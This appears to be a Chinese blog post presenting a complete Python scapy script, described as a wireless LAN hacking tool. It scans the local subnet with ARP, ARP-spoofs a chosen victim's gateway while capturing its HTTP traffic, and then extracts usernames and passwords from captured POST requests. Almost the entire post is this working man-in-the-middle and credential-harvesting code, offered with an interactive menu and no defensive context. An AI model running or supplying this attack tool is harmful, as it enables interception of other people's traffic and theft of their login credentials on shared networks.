无线局域网嗅探小工具

#无线局域网黑客工具
from scapy.all import *
import os
import time
import re
from threading import Thread

#获取上网的ip和网关
route=os.popen("route print").read()        #route print 命令显示本机的路由表
gateway,ip=re.search(r"0\.0\.0\.0\s+0\.0\.0\.0\s+(\S+)\s+(\S+)",route).groups()
        #seach匹配一次,groups函数将所有匹配结果都取出,group函数的区别
print("本机ip:",ip)
print("上网网关:",gateway)
rdict={}

#在局域网内进行主机发现
def scan():
    global rdict        #使用全局变量rdict
    IpScan = ip+"/24"
    print("扫描中,请稍候...")
    ans,unans = srp(Ether(dst="FF:FF:FF:FF:FF:FF")/ARP(pdst=IpScan),timeout=2,verbose=0,iface="Intel(R) Wireless-AC 9462")
    print("本次扫描一共扫描到%d台主机:" % len(ans))
    for send,recv in ans:
        print("%s----%s"%(recv.src,recv.psrc))
        rdict[recv.psrc] = recv.src 
def cap(ip,tc):
    pkts=sniff(iface="Intel(R) Wireless-AC 9462",filter=f"tcp port 80 and src host {ip}",timeout=tc)
    wrpcap("demo.pcap",pkts)
    print("攻击完成!")
def spoof():
    vict=input("要攻击的ip:")
    st=int(input("攻击时间(秒):"))
    t=Thread(target=cap,args=(vict,st))
    t.start()
    for i in range(st*5):
        sendp(Ether(dst=rdict[vict])/ARP(pdst=vict,psrc=gateway),verbose=0,iface="Intel(R) Wireless-AC 9462")        
        #pdst=vict,psrc=gateway ,这里将源地址改为网关地址,用来欺骗目标主机,让它认为我是网关
        #sendp(Ether(dst=rdict[gateway])/ARP(pdst=gateway,psrc=vict),verbose=0,iface="Intel(R) Wireless-AC 9462")
        time.sleep(0.2)     #每隔两秒发送一次欺骗包
        
def mima():     #对获取的数据进行分析(可以更改过滤条件来分析不同的数据包)
    pkts=rdpcap("demo.pcap")
    for p in pkts:
        if p.haslayer(IP) and p.haslayer(Raw):  #取出每一个含有原始数据的IP数据包
            try:
                inf=p.load.decode(errors="ignore")  #取出数据包里的p.load字段数据
                if inf.startswith("POST"):      #判断数据是否以POST方式提交
                    url=re.findall(r"Referer: (.+)",inf)    #取出所有Referer字段后的网址
                    if url:
                        print(time.ctime(p.time))   #用p.time取出p中的时间字段,time.ctime以我们能看懂的格式输出
                        print(url[0])
                        print("用户名:",re.search(r"[uU]serName=(.+?)&",inf).group(1)) #用正则表达式取出需要的信息
                        print("密码:",re.search(r"[pP]assWord=([^&]+)",inf).group(1))
            except Exception as e:
                print(e)
                pass
def main():
    while 1:
        print("功能列表:")
        print("1 局域网扫描")
        print("2 ARP攻击")
        print("3 密码分析")
        print("4 退出")
        while 1:
            sel=input("你的操作:")
            if sel in list("1234"):
                break
            print("输入有误!")
        if sel=="4":
            exit()
        elif sel=="1":
            scan()
        elif sel=="2":
            spoof()
        else:
            mima()
    print("再见!")
if __name__=="__main__":
    main()
  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值